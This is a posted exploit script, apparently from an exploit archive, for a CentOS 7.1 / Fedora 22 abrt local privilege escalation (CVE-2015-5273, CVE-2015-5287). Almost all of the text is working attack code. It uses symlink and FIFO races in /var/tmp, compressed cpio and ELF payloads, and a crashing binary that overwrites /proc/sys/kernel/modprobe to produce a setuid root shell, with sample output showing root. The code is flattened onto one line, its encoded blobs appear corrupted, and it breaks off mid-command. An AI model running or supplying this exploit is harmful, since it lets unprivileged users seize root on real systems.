CentOS 7.1 / Fedora 22 abrt Local Root
Posted on 01 December 2015
#!/usr/bin/python # CVE-2015-5273 + CVE-2015-5287 # CENTOS 7.1/Fedora22 local root (probably works on SL and older versions too) # abrt-hook-ccpp insecure open() usage + abrt-action-install-debuginfo insecure temp directory usage # rebel 09/2015 # ---------------------------------------- # [user@localhost ~]$ id # uid=1000(user) gid=1000(user) groups=1000(user) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 # [user@localhost ~]$ cat /etc/redhat-release # CentOS Linux release 7.1.1503 (Core) # [user@localhost ~]$ python abrt-centos-fedora.py # -- lots of boring output, might take a while on a slow connection -- # /var/spool/abrt/abrt-hax-coredump created # executing crashing process.. # success # bash-4.2# id # uid=0(root) gid=1000(user) groups=0(root),1000(user) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 import time,os,datetime,sys,resource,socket fedora = "Fedora" in open("/etc/redhat-release").read() # mkdir dir1 # ln -s /var/spool/abrt dir1/hax # mkdir dir2 # mkdir dir2/hax # ln -s /proc/sys/kernel/modprobe dir2/hax/abrt-hax-coredump # cd dir1 # find . -depth -print | cpio -o > ../cpio1 # cd ../dir2 # find . -depth -print | cpio -o > ../cpio2 cpio1 = 'xx9c;^xc8xccxa1xb0xefxffxc2x17xcc/x98x19x19x18x18>x86xdexdcxc8x02xa4xf9x192x12+x18xf4xcbx12x8bxf4x8bx0bxf2xf3sxf4x13x93x8aJx18x8ex03Uxb3xefxfbxebx08Rxcdx04U xa2x19x18xf4x80rx0cpxc0x08xa5xb9xc1dHx90xa3xa7x8fkx90xa2xa2"xc3(x18dx00x00x16xb9x1bA'.decode("zip") cpio2 = 'xx9c;^xc8xccx917xfbxffxc2x17xcc/x98x19x19x18x18>x86xdexdc(x06xa4%x192x12+xf4x13x93x8aJtx81x0cxddxe4xfcxa2xd4x94xd2xdcx02x06xfdx82xa2xfcdxfdxe2xcabxfdxecxd4xa2xbcxd4x1cxfdxdcxfcx14xa0PR*xc3qxa0Ix19xb3xff:x82Lbx82x9axc4xc2x00x02@x03xc0xb2+xef@dx99xa1xb2L`Y=xa0x1cx03x1c0Bin0x19x12xe4xe8xe9xe3x1axa4xa8xa8xc80 hx02x00x01x980x88'.decode("zip") if fedora: cpio1 = cpio1.replace("/var/spool/abrt","/var/tmp///abrt") payload = "#!/bin/sh cp /bin/sh /tmp/sh chmod 6755 /tmp/sh " # we use a 32 bit binary because [vsyscall] will be at the end of the coredump on 64 bit binaries # and we can't control the contents of that region. on 32 bit binaries [stack] is at the end # the crashing binary will just fill the stack with /tmp/hax.sh which subsequently gets written # to /proc/sys/kernel/modprobe by /usr/libexec/abrt-hook-ccpp elf = 'xx9cxabwxf5qcdddx80x01&x06fx06x10/xa4x81x85xc3x84x01x01Lx18x14x18`xaaxe0xaax81j@x1x90 xc2xac 1x01x06x06x97Fx1bx15xfdx92xdcx82xd2ox8dgxfexf3x03xf9xbbxbex00xb5xecx14x01xcaxeexeex07xaaxd7<xd3xc5xdcxc1xa2xe2xe2xfcxe8{xf3x1bx11xafxe6_x0cxa5x8fv8x02xc1xffx07xfaPx00xd4xadx9fx91Xxa1Wx9cxc1xc5x00x00-f"X'.decode("zip") # most people don't have nasm installed so i preassembled it # if you're not brave enough to run the preassembled file, here's the code :) """ ; abrt-hax.asm ; nasm -f bin -o abrt-hax abrt-hax.asm BITS 32 org 0x08048000 ehdr: ; Elf32_Ehdr db 0x7F, "ELF", 1, 1, 1, 0 ; e_ident times 8 db 0 dw 2 ; e_type dw 3 ; e_machine dd 1 ; e_version dd _start ; e_entry dd phdr - $$ ; e_phoff dd 0 ; e_shoff dd 0 ; e_flags dw ehdrsize ; e_ehsize dw phdrsize ; e_phentsize dw 1 ; e_phnum dw 0 ; e_shentsize dw 0 ; e_shnum dw 0 ; e_shstrndx ehdrsize equ $ - ehdr phdr: ; Elf32_Phdr dd 1 ; p_type dd 0 ; p_offset dd $$ ; p_vaddr dd $$ ; p_paddr dd filesize ; p_filesz dd filesize ; p_memsz dd 5 ; p_flags dd 0x1000 ; p_align phdrsize equ $ - phdr _start: inc esp cmp dword [esp],0x706d742f jne l or esp,0xfff inc esp mov edx,500 l3: mov ecx,msglen mov ebx,message sub esp,ecx l2: mov al,[ebx] mov [esp],al inc esp inc ebx loop l2 sub esp,msglen dec edx cmp edx,0 jne l3 mov eax,0x41414141 jmp eax message db '////////tmp/hax.sh',0x0a,0 msglen equ $-message """ build_id = os.popen("eu-readelf -n /usr/bin/hostname").readlines()[-1].split()[-1] os.chdir("/tmp") open("build_ids","w+").write(build_id + " ") print build_id def child(): timestamp = int(time.time()) for i in xrange(0,3): try: t = datetime.datetime.fromtimestamp(timestamp+i) d = "/var/tmp/abrt-tmp-debuginfo-%s.%u" % (t.strftime("%Y-%m-%d-%H:%M:%S"), os.getpid()) os.mkdir(d) os.chmod(d,0777) os.symlink("/var/tmp/haxfifo",d+"/unpacked.cpio") print "created %s" % d except: pass os.execl("/usr/libexec/abrt-action-install-debuginfo-to-abrt-cache","abrt-action-install-debuginfo-to-abrt-cache","-y") try: os.mkfifo("/var/tmp/haxfifo") os.chmod("/var/tmp/haxfifo",0666) except: pass def fifo(a): print "reading from fifo.." open("/var/tmp/haxfifo").read() print "done" print "writing to fifo.." open("/var/tmp/haxfifo","w+").write(a) print "done" if os.fork() == 0: child() print "first cpio..." fifo(cpio1) os.wait() time.sleep(1) if os.fork() == 0: child() print "second cpio..." fifo(cpio2) os.wait() time.sleep(1) if fedora: sym = "/var/tmp/abrt/abrt-hax-coredump" else: sym = "/var/spool/abrt/abrt-hax-coredump" try: os.lstat(sym) except: print "could not create symlink" sys.exit(-1) print "%s created" % sym open("/tmp/abrt-hax","w+").write(elf) os.chmod("/tmp/abrt-hax",0755) if os.fork() == 0: resource.setrlimit(resource.RLIMIT_CORE,(resource.RLIM_INFINITY,resource.RLIM_INFINITY,)) print "executing crashing process.." os.execle("/tmp/abrt-hax","",{}) os.wait() time.sleep(1) if "/tmp/hax" not in open("/proc/sys/kernel/modprobe").read(): print "could not modify /proc/sys/kernel/modprobe" sys.exit(-1) open("/tmp/hax.sh","w+").write(payload) os.chmod("/tmp/hax.sh",0755) try: socket.socket(socket.AF_INET,socket.SOCK_STREAM,132) except: pass time.sleep(0.5) try: os.stat("/tmp/sh") except: print "could not create suid" sys.exit(-1) print "success" os.execl("/tmp/sh","sh","-p","-c",'''echo /sbin/modprobe > /proc/sys/kernel/modprobe;rm -f /tmp/sh;rm -rf /var/cache/abrt-di/hax;python